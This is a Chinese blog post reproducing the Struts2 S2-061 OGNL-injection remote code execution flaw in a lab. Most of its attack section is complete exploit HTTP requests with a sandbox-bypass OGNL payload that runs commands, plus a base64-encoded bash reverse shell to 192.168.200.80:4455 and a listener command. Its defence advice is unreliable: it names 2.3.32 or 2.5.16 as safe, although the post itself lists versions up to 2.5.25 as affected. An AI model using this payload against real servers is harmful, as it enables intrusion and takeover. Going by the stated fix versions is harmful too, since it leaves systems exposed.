什么是Struts2
Struts2是一个用Java编写的开源MVC Web应用框架,Struts也是一个中间件,它可以连接不同的系统和服务。
M是指业务模型,V是视图,C则是控制器(理解为请求接口,比如登录接口/login)
Struts2默认的表达式解析语言是OGNL
Struts2漏洞原理
攻击者可以通过构造恶意的HTTP请求,利用Struts 2框架的OGNL表达式注入漏洞,执行任意命令或代码。
Struts2 会对某些标签属性(比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{A} 且 A 的值用户可控时,用户再传入一个 {payload}即可造成OGNL表达式执行。获得目标服务器的权限,实现远程代码执行攻击。
漏洞影响版本
Struts 2.0.0-2.5.25
什么是OGNL表达式
是Struts 2中用于查询和操作对象的表达式语言,它允许开发者直接访问对象属性和方法。
OGNL三要素
- Expression表达式
- root根对象、即操作对象
- context上下文,用于保存对象运行的属性及值,有点类似运行环境的意思,保存了环境变量
OGNL中的三个重要符号:#、%、$
这里主要介绍%
%: 其用途是在标志属性为字符串类型时,计算OGNL表达式的值,类似JS中的函数eval()。
例如:<s:url value =“%{items.{title}[0]}”/>。获取items对象中title属性,title为数组,取数组索引为0位置的值
OGNL注入的原理
利用 Web 应用程序中对用户的输入没有正确地验证和过滤,导致可以通过在用户输入中插入OGNL表达式。从而利用OGNL注入漏洞造成RCE。
这些OGNL表达式可以执行任意的 Java代码,包括读取、修改或删除应用程序中的数据,甚至执行系统命令。
漏洞利用流程:
-
用户访问受影响的Struts 2应用。 -
应用解析HTTP请求中的参数,并使用OGNL表达式进行处理。 -
如果表达式被设计用于执行恶意代码,攻击者构造特定的请求,包含恶意OGNL表达式。 -
应用执行表达式,导致远程代码执行漏洞。
漏洞复现
手工poc验证
运行struts2-061
docker-compose up -d
端口8080!
访问8080 端口,搭建成功
漏洞探测
1、漏洞验证
将传进去的id值当作表达式解析执行了,和PHP中的eval很像
构造payload :
%{'test'+(1+2).toString()}
url编码
%25%7B'test'%2B(1%2B2).toString()%7D
执行命令
/etc/passwd 查看路径
poc为:
POST /index.action HTTP/1.1
Host: 192.168.200.80:8080 #修改为目标主机
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 926
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]). (#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).
(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).
(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).
(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/passwd")).
(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
poc分析
基于OGNL三要素,获取根对象,结合上下文环境
//创建instancemanager对象
(#instancemanager=#application["org.apache.tomcat.InstanceManager"])
//创建BeanMap对象,设置相关参数
//在Struts2 v2.5.26之后将org.apache.tomcat加入了黑名单,导致无法获取BeanMap对象,所以得创建对象
(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap"))
//获取stack对象实例
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"])
//注册stack对象
(#bean.setBean(#stack))
//获取context上下文运行环境实例,并设置相关参数
(#context=#bean.get("context"))
//注册#context对象
(#bean.setBean(#context))
//获取memberAccess成员访问对象实例macc
(#macc=#bean.get("memberAccess"))
//注册macc
(#bean.setBean(#macc))
//创建一个HashSet集合对象空实例
(#emptyset=#instancemanager.newInstance("java.util.HashSet"))
//注册excludedClasses、excludedPackageNames对象
(#bean.put("excludedClasses",#emptyset))
(#bean.put("excludedPackageNames",#emptyset))
//创建ArrayList集合对象实例
(#arglist=#instancemanager.newInstance("java.util.ArrayList"))
//添加元素到集合
(#arglist.add("cat /etc/passwd"))
//创建Execute执行器对象实例
(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute"))
//调用execute.exec方法执行
(#execute.exec(#arglist))
通过对poc的分析,在#arglist.add(“”)函数这里包含的值是要执行的命令
使用burp抓包,#arglist.add(“cat /etc/passwd”)
2、漏洞利用
执行反弹shell命令
构造payload
bash -i >& /dev/tcp/192.168.200.80/4455 0>&1
反弹shell涉及到管道符问题于是要将命令进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC44MC80NDU1IDA+JjE=}|{base64,-d}|{bash,-i}
base64编码网站:https://ares-x.com/tools/runtime-exec
构造POC
POST /index.action HTTP/1.1
Host: 192.168.200.80:8080 #修改为目标主机
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 926
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC44MC80NDU1IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
放入重放模块 --状态码200!
开启监听
NC -LVVP 4455 (端口为反弹shell的端口)
反弹shell成功
工具验证
下载struts2漏洞检测工具
漏洞探测
漏洞利用
开启监听
NC -LVVP 4455
漏洞防御
1、升级到Struts 2的安全版本,比如2.3.32或2.5.16,这些版本包含了对应的安全修复
2、禁用OGNL表达式的执行,或者使用Struts 2的安全mechansim。
加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):S2-061 Struts2远程代码执行漏洞复现 (POC详解)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论